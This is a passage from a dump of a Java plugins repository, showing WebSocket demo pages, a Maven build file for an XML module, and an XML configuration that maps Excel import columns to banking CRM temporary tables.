setMessageInnerHTML(\"WebSocket连接关闭\");\n    }\n\n    //监听窗口关闭事件，当窗口关闭时，主动去关闭websocket连接，防止连接还没断开就关闭窗口，server端会抛异常。\n    window.onbeforeunload = function () {\n        closeWebSocket();\n    }\n\n    //将消息显示在网页上\n    function setMessageInnerHTML(innerHTML) {\n        document.getElementById('message').innerHTML += innerHTML + '<br/>';\n    }\n\n    //关闭WebSocket连接\n    function closeWebSocket() {\n        websocket.close();\n    }\n\n    //发送消息\n    function send() {\n        var message = document.getElementById('text').value;\n        websocket.send(message);\n    }\n</script>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_websocket/src/main/webapp/websocket2.jsp",
    "content": "<%@ page language=\"java\" import=\"java.util.*\" pageEncoding=\"UTF-8\"%>\n<%\nString path = request.getContextPath();\nString basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n \n<!DOCTYPE HTML>\n<html>\n  <head>\n    <base href=\"<%=basePath%>\">\n    <title>My WebSocket</title>\n  </head>\n   \n  <body>\n    Welcome<br/>\n    <input id=\"text\" type=\"text\" /><button onclick=\"send()\">Send</button>    <button onclick=\"closeWebSocket()\">Close</button>\n    <div id=\"message\">\n    </div>\n  </body>\n   \n  <script type=\"text/javascript\">\n      var websocket = null;\n       \n      //判断当前浏览器是否支持WebSocket\n      if('WebSocket' in window){\n          websocket = new WebSocket(\"ws://localhost:8080/jun_websocket/websocket\");\n      }\n      else{\n          alert('Not support websocket')\n      }\n       \n      //连接发生错误的回调方法\n      websocket.onerror = function(){\n          setMessageInnerHTML(\"error\");\n      };\n       \n      //连接成功建立的回调方法\n      websocket.onopen = function(event){\n          setMessageInnerHTML(\"open\");\n      }\n       \n      //接收到消息的回调方法\n      websocket.onmessage = function(event){\n          setMessageInnerHTML(event.data);\n      }\n       \n      //连接关闭的回调方法\n      websocket.onclose = function(){\n          setMessageInnerHTML(\"close\");\n      }\n       \n      //监听窗口关闭事件，当窗口关闭时，主动去关闭websocket连接，防止连接还没断开就关闭窗口，server端会抛异常。\n      window.onbeforeunload = function(){\n          websocket.close();\n      }\n       \n      //将消息显示在网页上\n      function setMessageInnerHTML(innerHTML){\n          document.getElementById('message').innerHTML += innerHTML + '<br/>';\n      }\n       \n      //关闭连接\n      function closeWebSocket(){\n          websocket.close();\n      }\n       \n      //发送消息\n      function send(){\n          var message = document.getElementById('text').value;\n          websocket.send(message);\n      }\n  </script>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_xml/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_xml</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>dom4j</groupId>\n\t\t\t<artifactId>dom4j</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.jdom</groupId>\n\t\t\t<artifactId>jdom</artifactId>\n\t\t\t<version>2.0.2</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-digester3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-digester3</artifactId>\n\t\t\t<version>3.2</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/log4j/log4j -->\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.11</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.junit.jupiter</groupId>\n\t\t\t<artifactId>junit-jupiter-api</artifactId>\n\t\t\t<version>RELEASE</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.junit.jupiter</groupId>\n\t\t\t<artifactId>junit-jupiter-api</artifactId>\n\t\t\t<version>RELEASE</version>\n\t\t\t<scope>compile</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.7</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_xml</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/ImportTradeDefine.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<root>\n    <!-- \n        tradeCode:交易码， 用以确定每一个业务逻辑模块唯一的导入交易。\n        tableName：表名，后台物理表中用以存储导入数据的临时表名。\n        valiClass：数据从临时表到实际业务表的逻辑实现类名，该类实现com.yuchengtech.bob.importimpl.ImportInterface接口。如不填写，则默认为com.yuchengtech.bob.importimpl.DefaultImpl类.\n        sheetStartIndex:导入EXCEL文件中，导入数据的起始页签,默认为0。\n        creatorColumn=临时表中“创建人”的列名，该列不在column中配置。\n        creatOrgColumn=临时表中“创建机构”的列名，该列不在column中配置。\n        creatDateColumn=临时表中“创建日期”的列名，该列不在column中配置。\n                                    列定义：\n                name：中文名称；\n                columnIndex:该列对应数据在导入的EXCEL sheet中所出列数（从0开始计数）。\n                fieldCode：该列数据对应的临时表中的列名。\n                isPk:是否主键，主键生成策略：IMP_+导入批次号_+sheet页号_+数据行号.主键请在物理表中定义为varchar2类型,且长度在30以上。\n                type:数据类型。目前主要使用3中数据类型校验，“NUMBER”,\"VARCHAR2\",\"DATE\"类型，默认按VARCHAR2类型处理。\n                length:数据长度,默认为0。\n                precial:数据精度，默认为0。\n                isNull：可否为空，默认为false。\n                                    数据处理策略：\n                                           数字类型：超出长度精度部分，整数部分截取右边，小数部分截取左边。isNull=\"false\"，且数据为空时，取0,长度为0，则不处理.\n                                           字符串类型：查出长度部分，截取右边，长度为0，则不处理。\n                                          日期数据：对于不合法数据，置空，如不可为空，则置为当前时间，长度为0，则不处理。\n     -->\n    <trade tradeCode=\"ImportTest\" tableName=\"A_IMPORT_TEST\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"CREATOR\" creatOrgColumn=\"CREATORORG\" creatDateColumn=\"CREATORDATE\">\n        <column name=\"主键\" columnIndex=\"2\" fieldCode=\"IDPK\" isPK=\"true\" type=\"VARCHAR2\" length=\"\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"var数据\" columnIndex=\"3\" fieldCode=\"DATAVAR\" isPK=\"false\" type=\"VARCHAR2\" length=\"10\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"num数据\" columnIndex=\"4\" fieldCode=\"DATANUM\" isPK=\"false\" type=\"NUMBER\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"日期数据\" columnIndex=\"5\" fieldCode=\"DATADATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp\" tableName=\"OCRM_F_CI_P_PROBUY_INFO\" valiClass=\"\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\" columnIndex=\"2\" fieldCode=\"CUST_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件类型\" columnIndex=\"3\" fieldCode=\"CERT_TYPE\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件号码\" columnIndex=\"4\" fieldCode=\"CERT_NUM\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品编号\" columnIndex=\"5\" fieldCode=\"PRODUCT_NO\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品名称\" columnIndex=\"6\" fieldCode=\"PRODUCT_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买金额\" columnIndex=\"7\" fieldCode=\"BUY_AMT\" isPK=\"false\" type=\"NUMBER\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加日期\" columnIndex=\"8\" fieldCode=\"OPP_DATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加理由\" columnIndex=\"9\" fieldCode=\"OPP_REASON\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"操作类型\"  columnIndex=\"10\" fieldCode=\"OPP_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作人\"  columnIndex=\"11\"  fieldCode=\"OPP_USER\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp1\" tableName=\"OCRM_F_CI_P_PROBUY_INFO_TEMP\" valiClass=\"com.yuchengtech.bob.action.ProbuyImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品编号\"  columnIndex=\"5\"  fieldCode=\"PRODUCT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品名称\"  columnIndex=\"6\"  fieldCode=\"PRODUCT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买金额\"  columnIndex=\"7\"  fieldCode=\"BUY_AMT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除日期\"  columnIndex=\"8\"  fieldCode=\"OPP_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除理由\"  columnIndex=\"9\"  fieldCode=\"OPP_REASON\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作类型\"   columnIndex=\"10\"  fieldCode=\"OPP_TYPE\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"操作人\"   columnIndex=\"11\"   fieldCode=\"OPP_USER\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n   \t</trade>\n   \n    <!--证件号码导入（客户群）-->\n    <trade tradeCode=\"importantGroupCust\" tableName=\"OCRM_F_GROUP_TEMP\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"序号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件类型\"  columnIndex=\"1\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"12\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件号码\"  columnIndex=\"2\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n   \t<!--贵宾卡增值服务参数导入-->\n    <trade tradeCode=\"importVipCardAddServiceParamt\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipAddServiceParamImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"贵宾卡级别\"  columnIndex=\"1\"  fieldCode=\"VIP_CARD_LEVEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"提供商\"  columnIndex=\"2\"  fieldCode=\"PROVIDER_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务名称\"  columnIndex=\"3\"  fieldCode=\"ADD_SERVICE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"4\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"适用范围\"  columnIndex=\"5\"  fieldCode=\"RANGE_APPLY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"备注\"  columnIndex=\"7\"  fieldCode=\"REMARK\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--贵宾卡增值服务享受记录导入-->\n    <trade tradeCode=\"importVipEnjoyServiceRecord\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipEnjoyServiceRecordImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商代码\"  columnIndex=\"3\"  fieldCode=\"ALIANCE_PROGRAM_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商名称\"  columnIndex=\"4\"  fieldCode=\"ALIANCE_PROGRAM_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"5\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"享受服务日期\"  columnIndex=\"7\"  fieldCode=\"ENJOY_SERVICE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--潜在客户导入-->\n\t   <!--潜在客户导入-->\n\t<trade tradeCode=\"importLantentCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.LantentCustomerImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"序号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"2\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系人\"  columnIndex=\"6\"  fieldCode=\"LINKMAN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系手机\"  columnIndex=\"9\"  fieldCode=\"LINKMAN_TEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n<!--         <column name=\"座机号\"  columnIndex=\"6\"  fieldCode=\"TELEPHONE_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"联系地址\"  columnIndex=\"7\"  fieldCode=\"COMMU_ADDR\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"200\"   precial=\"\"   isNull=\"true\"></column> -->\n<!--         <column name=\"电话区域\"  columnIndex=\"8\"  fieldCode=\"PHONE_AREA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"邮编号码\"  columnIndex=\"10\"  fieldCode=\"PORT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n \t\t<column name=\"其他名称\"  columnIndex=\"11\"  fieldCode=\"SHORT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"英文名称\"  columnIndex=\"12\"  fieldCode=\"EN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"客户来源渠道\"  columnIndex=\"13\"  fieldCode=\"SOURCE_CHANNEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n    <!--贵金属AUM导入-->\n\t<trade tradeCode=\"nobelMetalImportInfo\" tableName=\"A_AC_CUST_ASSET_AUM_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.NobelMetalImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"AUM\"  columnIndex=\"1\"  fieldCode=\"AUM\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--保险中间业务导入-->\n\t<trade tradeCode=\"insuranceImportInfo\" tableName=\"A_AC_CUST_BAOX_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.InsuranceImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"趸缴或期缴金额\"  columnIndex=\"1\"  fieldCode=\"BAOX_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--小微评级客户月均销售额导入-->\n\t<trade tradeCode=\"salesVolumeOfSmallImportInfo\" tableName=\"A_AC_CUST_MCR_SAL_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.SalesVolumeOfSmallImportImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"销售额\"  columnIndex=\"1\"  fieldCode=\"TRAD_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--客户群管理黑名单客户导入-->\n\t<trade tradeCode=\"importBlacklistCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.bob.action.BlacklistCustImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"客户号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"2\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"3\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"4\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--个金目标值导入-->\n     <trade tradeCode=\"importReportCfgNewInfo\" tableName=\"ACRM_M_TARGET_VAL_TEMP\" valiClass=\"com.yuchengtech.bob.action.ReportCfgNewImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ORDER_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"报表编号\" columnIndex=\"1\" fieldCode=\"REPORT_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"报表名称\"  columnIndex=\"2\"  fieldCode=\"REPORT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构ID\"  columnIndex=\"3\"  fieldCode=\"ORG_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构名称\"  columnIndex=\"4\"  fieldCode=\"ORG_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"5\"  fieldCode=\"BRANCH_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"6\"  fieldCode=\"BRANCH_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标名称\"  columnIndex=\"7\"  fieldCode=\"STAT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标ID\"  columnIndex=\"8\"  fieldCode=\"STAT_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"项目\"  columnIndex=\"9\"  fieldCode=\"PROJECT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"目标值\" columnIndex=\"10\" fieldCode=\"INDEX_VAL\" isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"最后更新日期\"  columnIndex=\"11\"  fieldCode=\"UPDATETIME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     \n     <!-- 客户分配导入信息 -->\n     <trade tradeCode=\"importCustBelong\" tableName=\"ACRM_F_CI_BELONG_IMP\" valiClass=\"com.yuchengtech.bcrm.customer.belong.action.CustBelongImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构主协办类型\"  columnIndex=\"3\"  fieldCode=\"ORG_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"4\"  fieldCode=\"ORG_CODE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"5\"  fieldCode=\"ORG_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理主协办类型\"  columnIndex=\"6\"  